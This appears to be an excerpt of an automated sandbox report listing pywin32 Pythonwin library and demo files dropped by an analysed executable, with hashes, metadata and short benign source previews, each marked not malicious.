Preview:	# By Bradley Schatz.# simple flash/python application demonstrating bidirectional.# communicaion between flash and python. Click the sphere to see.# behavior. Uses Bounce.swf from FlashBounce.zip, available from.# http://pages.cpsc.ucalgary.ca/~saul/vb_examples/tutorial12/..# Update to the path of the .swf file (note it could be a true URL).flash_url = "c:\\bounce.swf"..import sys..import regutil.import win32api.import win32con.import win32ui.from pywin.mfc import activex, window.from win32com.client import gencache..FlashModule = gencache.EnsureModule("{D27CDB6B-AE6D-11CF-96B8-444553540000}", 0, 1, 0)..if FlashModule is None:. raise ImportError("Flash does not appear to be installed.")...class MyFlashComponent(activex.Control, FlashModule.ShockwaveFlash):. def __init__(self):. activex.Control.__init__(self). FlashModule.ShockwaveFlash.__init__(self). self.x = 50. self.y = 50. self.angle = 30. self.started = 0.. def OnFSCommand(self, c

C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\ocx\msoffice.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5048
Entropy (8bit):	4.781620280031484
Encrypted:	false
SSDEEP:	96:i6/+MX858voTQg3Uzk29LYWu2VuiAKMebC6IzKHc5Yp1PIEsuI:JA5QHhYWu+A2Cxip5IoI
MD5:	4374102AE9A00E5C51450DF55F17BD17
SHA1:	19B9B8347066EB7F01194EE7FB2EBF700BCD0762
SHA-256:	A23CF5E8F0DAE332035DD1081B32A7DDBC0BD697DB1A68EDAB52B0FAC25B3BF7
SHA-512:	03CF3052789CA0A6BC05C8B02950A2B0EE4B0EB1EFE599D4008DF6BE1C502A6E79F8A57F9ECE082685310914F863F8A1204443276E1120BA9A9A48421DDEFA68
Malicious:	false
Preview:	# This demo uses some of the Microsoft Office components..#.# It was taken from an MSDN article showing how to embed excel..# It is not comlpete yet, but it _does_ show an Excel spreadsheet in a frame!.#..import regutil.import win32con.import win32ui.import win32uiole.from pywin.mfc import activex, docview, object, window.from win32com.client import gencache..# WordModule = gencache.EnsureModule('{00020905-0000-0000-C000-000000000046}', 1033, 8, 0).# if WordModule is None:.# .raise ImportError, "Microsoft Word version 8 does not appear to be installed."...class OleClientItem(object.CmdTarget):. def __init__(self, doc):. object.CmdTarget.__init__(self, win32uiole.CreateOleClientItem(doc)).. def OnGetItemPosition(self):. # For now return a hard-coded rect.. return (10, 10, 210, 210).. def OnActivate(self):. # Allow only one inplace activate item per frame. view = self.GetActiveView(). item = self.GetDocument().GetInPlaceActiveItem(view).

C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\ocx\ocxserialtest.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3611
Entropy (8bit):	4.749470057382686
Encrypted:	false
SSDEEP:	48:JG/qBKrkDETqAT1hqmiaLvXWNKcqMjpoKFuKbpIV7UC/RpIiC5KHrZN/UZ/CH7u:w/XqEnv6KxS/FuKbpAUNKVNs/CHS
MD5:	08EC418B44BDC4D47C8EBEF15421B891
SHA1:	088CCBD0F7EC44ABF192129F3864ADBE41C35B63
SHA-256:	694A4B0C8CC306559242C2973FFF638AFC13848E9AB49C6D213581010EDC5591
SHA-512:	4F26F2F8C3FCFE4A1D7FDC0CF60D319E7590D8993CCF37FBFE755D7E37CE779453A6341E30AF7BEA6924634232269CBA792A248536988E8A82CDDFC82CB483CD
Malicious:	false
Preview:	# ocxserialtest.py.#.# Sample that uses the mscomm OCX to talk to a serial.# device...# Very simple - queries a modem for ATI responses..import pythoncom.import win32con.import win32ui.import win32uiole.from pywin.mfc import activex, dialog.from win32com.client import gencache..SERIAL_SETTINGS = "19200,n,8,1".SERIAL_PORT = 2..win32ui.DoWaitCursor(1).serialModule = gencache.EnsureModule("{648A5603-2C6E-101B-82B6-000000000014}", 0, 1, 1).win32ui.DoWaitCursor(0).if serialModule is None:. raise ImportError("MS COMM Control does not appear to be installed on the PC")...def MakeDlgTemplate():. style = (. win32con.DS_MODALFRAME. \| win32con.WS_POPUP. \| win32con.WS_VISIBLE. \| win32con.WS_CAPTION. \| win32con.WS_SYSMENU. \| win32con.DS_SETFONT. ). cs = win32con.WS_CHILD \| win32con.WS_VISIBLE. dlg = [. ["Very Basic Terminal", (0, 0, 350, 180), style, None, (8, "MS Sans Serif")],. ]. s = win32con.WS_TABSTOP \| cs. dlg.append(.

C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\ocx\ocxtest.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6805
Entropy (8bit):	4.779699424357507
Encrypted:	false
SSDEEP:	96:85MiGinGqzC9//qIV4dKwvwjZUMIv3KISiKyvb6gJ5c5YpL14gDY/kT:8SilkAIjZMvhDyipJ4gDY/kT
MD5:	455C39408751DF999C31ED6F3FE9F254
SHA1:	7F6508DE9C98BC42B98ACB16E0AB22205A4092ED
SHA-256:	C8029BF8681AF4253E8438B6BAC35C4882E38613CA0540AF64CF47B532F55A94
SHA-512:	97A4F7543C23C8907347360B8598E866935B8D3287FFF12BFEDBF86B786704DE1B72259DAD85037D41E4F1DCE84CEB8B0C45F12A322A0723E9756B89F4A2CBDA
Malicious:	false
Preview:	# OCX Tester for Pythonwin.#.# This file _is_ ready to run. All that is required is that the OCXs being tested.# are installed on your machine..#.# The .py files behind the OCXs will be automatically generated and imported...import glob.import os..import win32api.import win32con.import win32ui.import win32uiole.from pywin.mfc import activex, dialog, window.from win32com.client import gencache...def MakeDlgTemplate():. style = (. win32con.DS_MODALFRAME. \| win32con.WS_POPUP. \| win32con.WS_VISIBLE. \| win32con.WS_CAPTION. \| win32con.WS_SYSMENU. \| win32con.DS_SETFONT. ). cs = win32con.WS_CHILD \| win32con.WS_VISIBLE. dlg = [. ["OCX Demos", (0, 0, 350, 350), style, None, (8, "MS Sans Serif")],. ]. s = win32con.WS_TABSTOP \| cs. # .dlg.append([131, None, 130, (5, 40, 110, 48),. # ..s \| win32con.LBS_NOTIFY \| win32con.LBS_SORT \| win32con.LBS_NOINTEGRALHEIGHT \| win32con.WS_VSCROLL \| win32con.WS_BORDER]). # .dlg.append(["{

C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\ocx\webbrowser.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2293
Entropy (8bit):	4.965254916940284
Encrypted:	false
SSDEEP:	48:8Snml4kgp+QLkRNSKWyi6jgIYlOUhVA5Os+YpHdVfjs+YpFHTzbPrcI:8mmqkgp/MsL6jgIZJ5O5Ypjj5YpFHHbz
MD5:	11E0E9DCB09236A30FC93183311B3715
SHA1:	BDC80B51387F688765CE47B51DF49F030097BDDA
SHA-256:	DD4009EB857380EF985C4B3949F46B979782DCF33451A4C323296880A02380C1
SHA-512:	F8B8BE06C7F48DCC1028C019A5CCF68E50471D18CD0082CE56C6443C96151F941E090EF50C1A72B2B5313D967A182A970DBF1303A0BD9418BD2E96B88F45E2D4
Malicious:	false
Preview:	# This demo uses the IE4 Web Browser control...# It catches an "OnNavigate" event, and updates the frame title..# (event stuff by Neil Hodgson)..import sys..import regutil.import win32api.import win32con.import win32ui.from pywin.mfc import activex, window.from win32com.client import gencache..WebBrowserModule = gencache.EnsureModule(. "{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}", 0, 1, 1.).if WebBrowserModule is None:. raise ImportError("IE4 does not appear to be installed.")...class MyWebBrowser(activex.Control, WebBrowserModule.WebBrowser):. def OnBeforeNavigate2(. self, pDisp, URL, Flags, TargetFrameName, PostData, Headers, Cancel. ):. self.GetParent().OnNavigate(URL). # print "BeforeNavigate2", pDisp, URL, Flags, TargetFrameName, PostData, Headers, Cancel...class BrowserFrame(window.MDIChildWnd):. def __init__(self, url=None):. if url is None:. self.url = regutil.GetRegisteredHelpFile("Main Python Documentation"). if sel

C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\openGLDemo.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9789
Entropy (8bit):	4.91335626349889
Encrypted:	false
SSDEEP:	96:uBDIizYdIFW8DVmzCqLiyH0Sy1gUhEH3zKhOntDD4O6VkjhOn2lWDiMoc2+SEWM6:uBDIizp1DVmzCakhceADs6BlWDnEtX
MD5:	D648E38AC8E7A16233B148A450658DD0
SHA1:	F7254260716A0D935347EC59A9FE481AB01AA9AF
SHA-256:	F5F8C95CF4E03CCED246038AF998635858E6EBF4676C8D71AD36E79850888248
SHA-512:	1ABCAB396FBACBC7E83F1A96C33D624AD55989A925A741778EDA5D4574D2C0DBBF662CD897C4F19B8DD7B2F55BFF89C5379FCEEAC645CC1E57AC3EDBC3AFF6BC
Malicious:	false
Preview:	# Ported from the win32 and MFC OpenGL Samples...import sys..from pywin.mfc import docview..try:. from OpenGL.GL import * # nopycln: import. from OpenGL.GLU import * # nopycln: import.except ImportError:. print("The OpenGL extensions do not appear to be installed."). print("This Pythonwin demo can not run"). sys.exit(1)..import timer.import win32api.import win32con.import win32ui..PFD_TYPE_RGBA = 0.PFD_TYPE_COLORINDEX = 1.PFD_MAIN_PLANE = 0.PFD_OVERLAY_PLANE = 1.PFD_UNDERLAY_PLANE = -1.PFD_DOUBLEBUFFER = 0x00000001.PFD_STEREO = 0x00000002.PFD_DRAW_TO_WINDOW = 0x00000004.PFD_DRAW_TO_BITMAP = 0x00000008.PFD_SUPPORT_GDI = 0x00000010.PFD_SUPPORT_OPENGL = 0x00000020.PFD_GENERIC_FORMAT = 0x00000040.PFD_NEED_PALETTE = 0x00000080.PFD_NEED_SYSTEM_PALETTE = 0x00000100.PFD_SWAP_EXCHANGE = 0x00000200.PFD_SWAP_COPY = 0x00000400.PFD_SWAP_LAYER_BUFFERS = 0x00000800.PFD_GENERIC_ACCELERATED = 0x00001000.PFD_DEPTH_DONTCARE = 0x20000000.PFD_DOUBLEBUFFER_DONTCARE = 0x40000000.PFD_STEREO_D

C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\progressbar.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2470
Entropy (8bit):	4.7309423091111595
Encrypted:	false
SSDEEP:	48:WOXUCKcgTo9kA+TqAT1h+HXGmzVJ8ZYLhWHVzrz+H5npLoIT:wT+7TXl8Z3uL9T
MD5:	55B794C6746C1ED94E8D09FC411B4094
SHA1:	777B1AF92BE4692D65F57A439E7D54A82073D9B0
SHA-256:	4DD947D0B90B6CB2EDFCF5B8A4429EC13D58ABEB8C33CD8800536B5D8029D725
SHA-512:	9141BF61AAB9DFDD8777E3114FBB1625CE7A20295A96409521D2503AC276EAC4D1C15F1339DBB22D2E959157D557C5F5758689D9E8860E24DDE382537D77FAB9
Malicious:	false
Preview:	#.# Progress bar control example.#.# .PyCProgressCtrl encapsulates the MFC CProgressCtrl class. To use it,.# .you:.#.# .- Create the control with win32ui.CreateProgressCtrl().# .- Create the control window with PyCProgressCtrl.CreateWindow().# .- Initialize the range if you want it to be other than (0, 100) using.# . PyCProgressCtrl.SetRange().# .- Either:.# . - Set the step size with PyCProgressCtrl.SetStep(), and.# . - Increment using PyCProgressCtrl.StepIt().# . or:.# . - Set the amount completed using PyCProgressCtrl.SetPos().#.# Example and progress bar code courtesy of KDL Technologies, Ltd., Hong Kong SAR, China..#..import win32con.import win32ui.from pywin.mfc import dialog...def MakeDlgTemplate():. style = (. win32con.DS_MODALFRAME. \| win32con.WS_POPUP. \| win32con.WS_VISIBLE. \| win32con.WS_CAPTION. \| win32con.WS_SYSMENU. \| win32con.DS_SETFONT. ). cs = win32con.WS_CHILD \| win32con.WS_VISIBLE.. w = 215. h = 36.. d

C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\sliderdemo.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2191
Entropy (8bit):	4.850454871968149
Encrypted:	false
SSDEEP:	48:ObpYmP20TqATZmgHqKG7nJ6XlcMKJC7yN2VpXfCpk80Don:Obpv07JIxgC7yNV0Don
MD5:	33C1937B141288687F5B1C16FE3096E6
SHA1:	FA6D59C5341185E45E9BC2D46C9BF739DDDCE239
SHA-256:	D58A77874F80AF628C9AC2A2901FDC9E6A2662A302F7068B59091472BC07CC8E
SHA-512:	7BA2215F1626FA752D46F1F73D5D13FD10600A8653901002F32AE94BB3301B85912E60B31D12AD24ACC98322AEA8910CB4D2EAF7B8472DE97F3B613433524296
Malicious:	false
Preview:	# sliderdemo.py.# Demo of the slider control courtesy of Mike Fletcher...import win32con.import win32ui.from pywin.mfc import dialog...class MyDialog(dialog.Dialog):. """. Example using simple controls. """.. _dialogstyle = (. win32con.WS_MINIMIZEBOX. \| win32con.WS_DLGFRAME. \| win32con.DS_MODALFRAME. \| win32con.WS_POPUP. \| win32con.WS_VISIBLE. \| win32con.WS_CAPTION. \| win32con.WS_SYSMENU. \| win32con.DS_SETFONT. ). _buttonstyle = (. win32con.BS_PUSHBUTTON. \| win32con.WS_TABSTOP. \| win32con.WS_CHILD. \| win32con.WS_VISIBLE. ). ### The static template, contains all "normal" dialog items. DIALOGTEMPLATE = [. # the dialog itself is the first element in the template. ["Example slider", (0, 0, 50, 43), _dialogstyle, None, (8, "MS SansSerif")],. # rest of elements are the controls within the dialog. # standard "Close" button. [128, "Close", win32con.I

C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\splittst.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2847
Entropy (8bit):	4.889392873931691
Encrypted:	false
SSDEEP:	48:tn2i6rCuuHYZYShNY9qG+CWclj3hlj3Zlj3YtVrbSTziVfudj1dKKTMH8jRH94wS:p6rCu+YUlhWcPXGOPiVfudjmKTMcjRd6
MD5:	15A3380DB3440FCC03C11FEF948C3FD0
SHA1:	9C618E91EB3D4633B1E65790BC001BD11340F782
SHA-256:	8596A440DBDF0B5982E29C1B04D504904411A76AA432CD61FA502EDD05D4BCC1
SHA-512:	0A89815554A35E8BA9CF44D21081738BE1C936F46D8A26EF46D95BB6F8C35FF058F1082571C6F1AFC0F458B6F8184CF8DA617F144A33302AE8EE47C9CD55988B
Malicious:	false
Preview:	import commctrl.import fontdemo.import win32ui.from pywin.mfc import docview, window..# derive from CMDIChild. This does much work for us....class SplitterFrame(window.MDIChildWnd):. def __init__(self):. # call base CreateFrame. self.images = None. window.MDIChildWnd.__init__(self).. def OnCreateClient(self, cp, context):. splitter = win32ui.CreateSplitter(). doc = context.doc. frame_rect = self.GetWindowRect(). size = ((frame_rect[2] - frame_rect[0]), (frame_rect[3] - frame_rect[1]) // 2). sub_size = (size[0] // 2, size[1]). splitter.CreateStatic(self, 2, 1). self.v1 = win32ui.CreateEditView(doc). self.v2 = fontdemo.FontView(doc). # CListControl view. self.v3 = win32ui.CreateListView(doc). sub_splitter = win32ui.CreateSplitter(). # pass "splitter" so each view knows how to get to the others. sub_splitter.CreateStatic(splitter, 1, 2). sub_splitter.CreateView(sel

C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\threadedgui.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6272
Entropy (8bit):	4.87279010428793
Encrypted:	false
SSDEEP:	192:ncGYnTdMrmBZhpazipGrwpWSnTG3zXSjS+Opwy8nt:nAnZcziMrwZnuCu+Opgt
MD5:	DB53EA29EFF3B56F84E93B6500013F19
SHA1:	108322107120E73C4A6F949C702B6085A13DC656
SHA-256:	73E54A6C2971411F6DF38DECD4C1AB079552C746502DEBBEE2463078D3FF200F
SHA-512:	9D4A4F575106826762235A447C13509638CFC9A153EFC2AC168C9F4F413B0B12576B24312A170B9E8F61DE7F99A3EC5E363A8B8236DF8CE42927AEEA5D57AB00
Malicious:	false
Preview:	# Demo of using just windows, without documents and views...# Also demo of a GUI thread, pretty much direct from the MFC C++ sample MTMDI...import timer.import win32api.import win32con.import win32ui.from pywin.mfc import docview, thread, window.from pywin.mfc.thread import WinThread..WM_USER_PREPARE_TO_CLOSE = win32con.WM_USER + 32..# font is a dictionary in which the following elements matter:.# (the best matching font to supplied parameters is returned).# name..string name of the font as known by Windows.# size..point size of font in logical units.# weight..weight of font (win32con.FW_NORMAL, win32con.FW_BOLD).# italic..boolean; true if set to anything but None.# underline.boolean; true if set to anything but None...# This window is a child window of a frame. It is not the frame window itself..class FontWindow(window.Wnd):. def __init__(self, text="Python Rules!"):. window.Wnd.__init__(self). self.text = text. self.index = 0. self.incr = 1.

C:\recover\pw\Lib\site-packages\pythonwin\pywin\Demos\toolbar.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3165
Entropy (8bit):	4.871556617087529
Encrypted:	false
SSDEEP:	48:s4IYirHY+7WzAAgDnqOYEZYR0QY1xeE4k7EMvHYq1lwOQdT5FpxYEGHBmyQLRu:0DY+qzuQR0QY1xTvYnbn1DABn0U
MD5:	96A780B1A5ECABF83F6EF7F4E719D706
SHA1:	DBC0202653E6347FB5CF4E3A76D61DF2762D7264
SHA-256:	C294B740EB59DBA1E53651856CA54B1010EAE6320DD500D9850A12D488100DA9
SHA-512:	C241101159235C880F0C3ED382BC7E3498C446B3F365D5BA09870E40C84859553FC5BF033A15817FA628A97E1412615EA63211DA427E80727C7B35B87678EA5A
Malicious:	false
Preview:	# Demo of ToolBars..# Shows the toolbar control..# Demos how to make custom tooltips, etc...import commctrl.import win32api.import win32con.import win32ui.from pywin.mfc import afxres, docview, window...class GenericFrame(window.MDIChildWnd):. def OnCreateClient(self, cp, context):. # handlers for toolbar buttons. self.HookCommand(self.OnPrevious, 401). self.HookCommand(self.OnNext, 402). # Its not necessary for us to hook both of these - the. # common controls should fall-back all by themselves.. # Indeed, given we hook TTN_NEEDTEXTW, commctrl.TTN_NEEDTEXTA. # will not be called.. self.HookNotify(self.GetTTText, commctrl.TTN_NEEDTEXT). self.HookNotify(self.GetTTText, commctrl.TTN_NEEDTEXTW).. # ..parent = win32ui.GetMainFrame(). parent = self. style = (. win32con.WS_CHILD. \| win32con.WS_VISIBLE. \| afxres.CBRS_SIZE_DYNAMIC. \| afxres.CBRS_TOP. \| a

C:\recover\pw\Lib\site-packages\pythonwin\pywin\IDLE.cfg

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	742
Entropy (8bit):	4.500440373386235
Encrypted:	false
SSDEEP:	12:1Si9ycCnLZTIDCoc9GrGFZA1ZSfuQ9UewZdfxR2sKVLm7BeXjZrAwEkTBAL:1SifyN0DBc9GSs+9uxxQsKVLmyjZLpTq
MD5:	FEA3E78BE03619E62D9D0596B3D30415
SHA1:	643A8486EFCA63316325B666A8F2660D9BF15DBD
SHA-256:	09CD334BBD8A9723360913DB63E1DD344BB5FAEACDA270B57529C0DA3B8AF73E
SHA-512:	3DA8A6CBA89649A561274091387F8D2CB574BB69A4184B3E8F2E16513BCD7FC7B40D8C5212FE67B22753A0604670C06A82CF0A62024D21DE6AA4A272D0E05D87
Malicious:	false
Preview:	[General].# We base this configuration on the default config..# You can list "Based On" as many times as you like.Based On = default..[Keys].# Only list keys different to default..# Note you may wish to rebind some of the default.# Pythonwin keys to "Beep" or "DoNothing"..Alt+L = LocateSelectedFile.Ctrl+Q = AppExit..# Other non-default Pythonwin keys.Alt+A = EditSelectAll.Alt+M = LocateModule..# Movement.Ctrl+D = GotoEndOfFile..# Tabs and other indent features.Alt+T = <<toggle-tabs>>.Ctrl+[ = <<indent-region>>.Ctrl+] = <<dedent-region>>..[Keys:Interactive].Alt+P = <<history-previous>>.Alt+N = <<history-next>>..

C:\recover\pw\Lib\site-packages\pythonwin\pywin\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.555377634843288
Encrypted:	false
SSDEEP:	12:xIu9TAutsMFMS21FqBjyQtusvCVi80njeVK6lSxi1Hs5:xIu9TCMFMd1FqBjRvhn+Kw25
MD5:	F6687E6FA019ECA4A788FA46165D6FC0
SHA1:	3FB1D7496A1F63080109C7D0418ECE4D0B176309
SHA-256:	63E7D31AE2AF86C7006B95D65391F7FE055038E31C0E2D99A34DE5495D2D825A
SHA-512:	053CBCE6696D63E5152A5B40E6B1E632A82FF16247805B88A52E61D4B4AA30992BA50FC50E24EF29A9AA790BD3108FD30FFFC9083708DF03630E845D8874978F
Malicious:	false
Preview:	# is_platform_unicode is an old variable that was never correctly used and.# is no longer referenced in pywin32. It is staying for a few releases incase.# others are looking at it, but it will go away soon!.is_platform_unicode = 0..# Ditto default_platform_encoding - not referenced and will die..default_platform_encoding = "mbcs"..# This one is real and used - but in practice can't be changed..default_scintilla_encoding = "utf-8" # Scintilla _only_ supports this ATM.

C:\recover\pw\Lib\site-packages\pythonwin\pywin\dialogs\ideoptions.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5034
Entropy (8bit):	4.737064457897206
Encrypted:	false
SSDEEP:	96:wmydTwuaTLjsiaT7uPvy+6NmwunRwm1kA31J5:wRPaT5aT8v16C/
MD5:	F111572B3FB1BC661E1E6DF5A9CF879D
SHA1:	A41173D1F88C61C3237248B097B2EFB08F5E25ED
SHA-256:	62A1EEEBB052D688D023D7520A7792617C2C52B25DC8B0DE985CA5B3AAB0C563
SHA-512:	C91478BF2173956F70A46FE7DA7D8E079356F94F16E7DCDD52377E29CF0FC0AE202908118DA9BFC1680C86A59FC227DE90E17E61B8730E45686CBDA6BD3187C6
Malicious:	false
Preview:	# The property page to define generic IDE options for Pythonwin..import win32con.import win32ui.from pywin.framework import interact.from pywin.mfc import dialog..buttonControlMap = {. win32ui.IDC_BUTTON1: win32ui.IDC_EDIT1,. win32ui.IDC_BUTTON2: win32ui.IDC_EDIT2,. win32ui.IDC_BUTTON3: win32ui.IDC_EDIT3,.}...class OptionsPropPage(dialog.PropertyPage):. def __init__(self):. dialog.PropertyPage.__init__(self, win32ui.IDD_PP_IDE). self.AddDDX(win32ui.IDC_CHECK1, "bShowAtStartup"). self.AddDDX(win32ui.IDC_CHECK2, "bDocking"). self.AddDDX(win32ui.IDC_EDIT4, "MRUSize", "i").. def OnInitDialog(self):. edit = self.GetDlgItem(win32ui.IDC_EDIT1). format = eval(. win32ui.GetProfileVal(. interact.sectionProfile,. interact.STYLE_INTERACTIVE_PROMPT,. str(interact.formatInput),. ). ). edit.SetDefaultCharFormat(format). edit.SetWindowText("Input Text")..

C:\recover\pw\Lib\site-packages\pythonwin\pywin\dialogs\list.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4553
Entropy (8bit):	4.726357289573743
Encrypted:	false
SSDEEP:	96:kpMCQUjD1MKBsVQnCD5kI7uVwVUoic6fpEQ7xKbmHBNx7W0WLdX:Sp4/VkGKQPaRH0X
MD5:	37C1CD1DB9F810C204351229638F2C9D
SHA1:	E978FC55B612FACA725B84ED0C11B2CC7E6316A9
SHA-256:	6D756D51A6286E343F91A946DF409B0B9CE72F5E153CEAB0E826494E3E919D79
SHA-512:	6AAC4751DDEC0BD84F3C018CCF589C2A11103034B051567CF240AD9116F371CD27FF396A0332B5C0D7536A44E0C8E69B07EDEB5D287EF906B0CEAF3C38D53B81
Malicious:	false
Preview:	import commctrl.import win32api.import win32con.import win32ui.from pywin.mfc import dialog...class ListDialog(dialog.Dialog):. def __init__(self, title, list):. dialog.Dialog.__init__(self, self._maketemplate(title)). self.HookMessage(self.on_size, win32con.WM_SIZE). self.HookNotify(self.OnListItemChange, commctrl.LVN_ITEMCHANGED). self.HookCommand(self.OnListClick, win32ui.IDC_LIST1). self.items = list.. def _maketemplate(self, title):. style = win32con.WS_DLGFRAME \| win32con.WS_SYSMENU \| win32con.WS_VISIBLE. ls = (. win32con.WS_CHILD. \| win32con.WS_VISIBLE. \| commctrl.LVS_ALIGNLEFT. \| commctrl.LVS_REPORT. ). bs = win32con.WS_CHILD \| win32con.WS_VISIBLE. return [. [title, (0, 0, 200, 200), style, None, (8, "MS Sans Serif")],. ["SysListView32", None, win32ui.IDC_LIST1, (0, 0, 200, 200), ls],. [128, "OK", win32con.IDOK, (10, 0, 50, 14)

C:\recover\pw\Lib\site-packages\pythonwin\pywin\dialogs\login.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4744
Entropy (8bit):	5.080896859294017
Encrypted:	false
SSDEEP:	96:SPqoa8f4F5CiR1nA8uAImdWA5v7eanAxKFze7pnAYzFE7rUK1Q9u:VHq4FXXR0C4KJ2za7rb1Q9u
MD5:	D195D5022F44190D561AB48990C86946
SHA1:	79B0039267F5031D1275E9D5492FEEFF0A9EAAEA
SHA-256:	BBF5069FC221AA0FB7F61C7051467DA298539F2E482A06A2677D69CC6E066F8C
SHA-512:	8D4D461B435712AB659AD385C82F5E6D77D2F268C18E426F115AE08BC4162BDCFC76092994CEE7827447F79C45818EEE54C8C0990715F4EDE7D22AF56646B397
Malicious:	false
Preview:	"""login -- PythonWin user ID and password dialog box..(Adapted from originally distributed with Mark Hammond's PythonWin - .this now replaces it!)..login.GetLogin() displays a modal "OK/Cancel" dialog box with input.fields for a user ID and password. The password field input is masked.with *'s. GetLogin takes two optional parameters, a window title, and a.default user ID. If these parameters are omitted, the title defaults to."Login", and the user ID is left blank. GetLogin returns a (userid, password).tuple. GetLogin can be called from scripts running on the console - i.e. you.don't need to write a full-blown GUI app to use it...login.GetPassword() is similar, except there is no username field...Example:.import pywin.dialogs.login.title = "FTP Login".def_user = "fred".userid, password = pywin.dialogs.login.GetLogin(title, def_user)..Jim Eggleston, 28 August 1996.Merged with dlgpass and moved to pywin.dialogs by Mark Hammond Jan 1998.."""..import win32api.import win32con.import win32u

C:\recover\pw\Lib\site-packages\pythonwin\pywin\dialogs\status.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6620
Entropy (8bit):	4.812249113668442
Encrypted:	false
SSDEEP:	192:JQ1QjYT2ZcpPc0C1HdNzJUMzmQuWyricJY:FY4GPY19pyMyQ/yrid
MD5:	6A26E58C5BCC0944CF185DEE3151FFE9
SHA1:	1F8F6D4E63D75DE35AEAD6DBDC7F1A54526D8249
SHA-256:	1AD3D9AF7B5328E179A0B8DDE615936A2191102DC5C2714A1752FA5E000D6DEE
SHA-512:	1D0AB59FB5EE3159612FCB34265437CF77C8150EC71C2F3799ED1FAC687237BD466A8F1A300F89B1591E27E82323A51A339D8F196C4B25A9ADA8FA26BFB0AD10
Malicious:	false
Preview:	# No cancel button...import threading.import time..import win32api.import win32con.import win32ui.from pywin.mfc import dialog.from pywin.mfc.thread import WinThread...def MakeProgressDlgTemplate(caption, staticText=""):. style = (. win32con.DS_MODALFRAME. \| win32con.WS_POPUP. \| win32con.WS_VISIBLE. \| win32con.WS_CAPTION. \| win32con.WS_SYSMENU. \| win32con.DS_SETFONT. ). cs = win32con.WS_CHILD \| win32con.WS_VISIBLE.. w = 215. h = 36 # With button. h = 40.. dlg = [. [caption, (0, 0, w, h), style, None, (8, "MS Sans Serif")],. ].. s = win32con.WS_TABSTOP \| cs.. dlg.append([130, staticText, 1000, (7, 7, w - 7, h - 32), cs \| win32con.SS_LEFT]).. # dlg.append([128,. # .."Cancel",. # ..win32con.IDCANCEL,. # ..(w - 60, h - 18, 50, 14), s \| win32con.BS_PUSHBUTTON]).. return dlg...class CStatusProgressDialog(dialog.Dialog):. def __init__(self, title, msg="", maxticks=100, tickincr=1):. sel

C:\recover\pw\Lib\site-packages\pythonwin\pywin\docking\DockingBar.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	23579
Entropy (8bit):	4.671711851438662
Encrypted:	false
SSDEEP:	384:lvLO4nM1rrzHrSxQvUKv+iqsP3Om2Qcb27xDoBC8n:lvLXn68QvdqsP3OmyCc
MD5:	F98244F1F98BB85FCA32EE2182156A42
SHA1:	2B44F1FB726A9650F1A7296721A5D40541B42CB5
SHA-256:	42235CF86B787BB402515C767DBB59121DB817388DEBB97AF40FAE19962DE0E9
SHA-512:	AFF2509180B031EEA98DD88F0899BF254A5A4B3AB6C9C19CAB6590C3007BE57DEEF02B8412A6C10913B705357167883B978596B0136F3DC36C99418CB5EF1F74
Malicious:	false
Preview:	# DockingBar.py..# Ported directly (comments and all) from the samples at www.codeguru.com..# WARNING: Use at your own risk, as this interface is highly likely to change..# Currently we support only one child per DockingBar. Later we need to add.# support for multiple children...import struct..import win32api.import win32con.import win32ui.from pywin.mfc import afxres, window..clrBtnHilight = win32api.GetSysColor(win32con.COLOR_BTNHILIGHT).clrBtnShadow = win32api.GetSysColor(win32con.COLOR_BTNSHADOW)...def CenterPoint(rect):. width = rect[2] - rect[0]. height = rect[3] - rect[1]. return rect[0] + width // 2, rect[1] + height // 2...def OffsetRect(rect, point):. (x, y) = point. return rect[0] + x, rect[1] + y, rect[2] + x, rect[3] + y...def DeflateRect(rect, point):. (x, y) = point. return rect[0] + x, rect[1] + y, rect[2] - x, rect[3] - y...def PtInRect(rect, pt):. return rect[0] <= pt[0] < rect[2] and rect[1] <= pt[1] < rect[3]...class 